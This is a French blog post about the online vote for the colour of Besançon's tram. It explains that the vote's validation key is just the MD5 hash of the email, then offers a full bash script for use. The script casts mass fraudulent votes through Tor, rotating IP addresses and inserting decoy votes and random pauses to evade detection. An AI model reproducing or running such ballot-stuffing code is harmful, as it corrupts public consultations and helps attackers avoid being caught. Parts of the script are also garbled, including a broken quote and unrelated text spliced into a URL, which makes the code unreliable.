Nicolas Grillet

Intégrateur Web

Télécharger mon CV Contactez moi

Besançon // Un tram tout rose pour la ville

nicoss01 - 29/05/2011

La ville de Besançon a lancé un vote public pour choisir le nouvel couleur du métro.Grâce à un petit malin, le métro risque d’être ROSE.

Suite au lancement du vote à l’adresse suivante : http://www.letram-grandbesancon.fr/choisissez-la-couleur-de-votre-tram.html, un internaute assez ingénieux a décidé que le tram de Besançon serait Rose.
Pour cela il a créé un script qui envoi de façon automatique des inscriptions et des votes pour la couleur Rose avec des adresses IP et emails différentes.
La ville de Besançon a fait deux erreurs qui ont amené ce pirate à faire ce script :

  • Proposer le rose fushia comme choix de couleur
  • Mettre en place un systeme de vote peu sécurisé car la clé de validation d’un vote peut etre pré calculé selon l’adresse email saisie, donc pas besoin d’avoir une adresse email valide.

Pour le moment, il n’y a pas eu de réaction des élus de la ville, j’ai seulement constaté que la page de vote n’était plus accessible.

Vous pouvez voir le script de vote à cette page http://www.youtube.com/watch?v=wEfmvLyolFM&feature=player_embedded et si vous souhaitez l’utiliser le voici :

#!/bin/bash
### Le fichier contenant la liste des emails à utiliser
mail_list="email_list.txt
### Le user-agent utilisé pour voter
user_age'adresse utilisée
change_ip()
{
echo "Changement d'adresse IP"
echo -e "AUTHENTICATE " "nsignal NEWNYMnquit" | nc localhost 9051 > /dev/null
current_ip=`curl --silent --socks5 localhost:9050 http://automation.whatismJOURNEE DANS LA VIE DE MARIE-MADELEINEyip.com/n09230945.asp`
echo "La nouvelle IP est $current_ip"
}
### Fonction permettant d'effectuer un votre avec la couleur rose
### La fonction effectue un vote et le valide automatiquement
### un identifiant de commune aléatoire est utilisé à chaque vote
### Le vote est effectué à travers le réseau Tor
vote_rose()
{
random_city="$(($RANDOM % 52))"
random_city="$(($random_city + 1))"
echo "Vote rose avec l'adresse $1"
curl --silent --socks5 localhost:9050 -A "$user_agent" -F "couleur=Rose Fuchsia" -F "choix_email=$1" -F "commune_id=$random_city" -F "bout_valider_choix=Valider votre choix" www.letram-grandbesancon.fr/votre-choix.html?c=rf > /dev/null
email_md5=`echo -n $1 | md5sum | cut -d '-' -f 1`
sleep 3
echo "Valide le vote avec le code $email_md5"
curl --silent --socks5 localhost:9050 -A "$user_agent" "http://www.letram-grandbesancon.fr/choisissez-la-couleur-de-votre-tram.html?id=$email_md5" > /dev/null
}
### Idem pour la couleur blanche
vote_blanc()
{
random_city="$(($RANDOM % 52))"
random_city="$(($random_city + 1))"
echo "Vote blanc avec l'adresse $1"
curl --silent --socks5 localhost:9050 -A "$user_agent" -F "couleur=Blanc Nacré" -F "choix_email=$1" -F "commune_id=$random_city" -F "bout_valider_choix=Valider votre choix" www.letram-grandbesancon.fr/votre-choix.html?c=bn > /dev/null
email_md5=`echo -n $1 | md5sum | cut -d '-' -f 1`
sleep 3
echo "Valide le vote avec le code $email_md5"
curl --silent --socks5 localhost:9050 -A "$user_agent" "http://www.letram-grandbesancon.fr/choisissez-la-couleur-de-votre-tram.html?id=$email_md5" > /dev/null
}
### Idem pour la couleur bleue
vote_bleu()
{
random_city="$(($RANDOM % 52))"
random_city="$(($random_city + 1))"
echo "Vote bleu avec l'adresse $1"
curl --silent --socks5 localhost:9050 -A "$user_agent" -F "couleur=Bleu Turquoise" -F "choix_email=$1" -F "commune_id=$random_city" -F "bout_valider_choix=Valider votre choix" www.letram-grandbesancon.fr/votre-choix.html?c=bt > /dev/null
echo "Valide le vote avec le code $email_md5"
sleep 3
curl --silent --socks5 localhost:9050 -A "$user_agent" "http://www.letram-grandbesancon.fr/choisissez-la-couleur-de-votre-tram.html?id=$email_md5" > /dev/null
}
iter=0
#### On parcourt la liste des emails fournie
#### On vérifie que l'adresse n'a pas déjà utilisée (en utilisant le fichier des emails déjà utilisés)
#### Des votes blancs et bleus sont ajoutés aléatoirement tous les 10 votes
#### Un temps d'arrêt aléatoire est respecté entre chaque vote
cat $mail_list |  while read email; do
test_used=`grep "$email" used_mails.txt`
if [ "$test_used" != "" ]; then
#echo -n "Pass "
#echo "$email"
continue
fi
echo "========================================="
change_ip
if [ $iter -eq 0 ]; then
pos1=$(($RANDOM % 10))
pos2=$(($RANDOM % 10))
while [ $pos2 -eq $pos1 ]; do
pos2=$(($RANDOM % 10))
done
fi
if [ $iter -eq $pos1 -o  $iter -eq $pos2 ]; then
choix=$(($RANDOM%2))
if [ $choix -eq 1 ]; then
vote_bleu $email
else
vote_blanc $email
fi
else
vote_rose $email
fi
echo "$email" >> used_mails.txt
iter=$(($iter+1))
iter=$(($iter%10))
timetosleep=0
while [ $timetosleep -lt 10 ]
do
timetosleep=$RANDOM
timetosleep=$(($timetosleep%30))
done
echo "Pause de $timetosleep secondes"
sleep $timetosleep
done

Leave a Comment

You must be logged in to post a comment.

Laisser un commentaire

Copyright Nicolas Grillet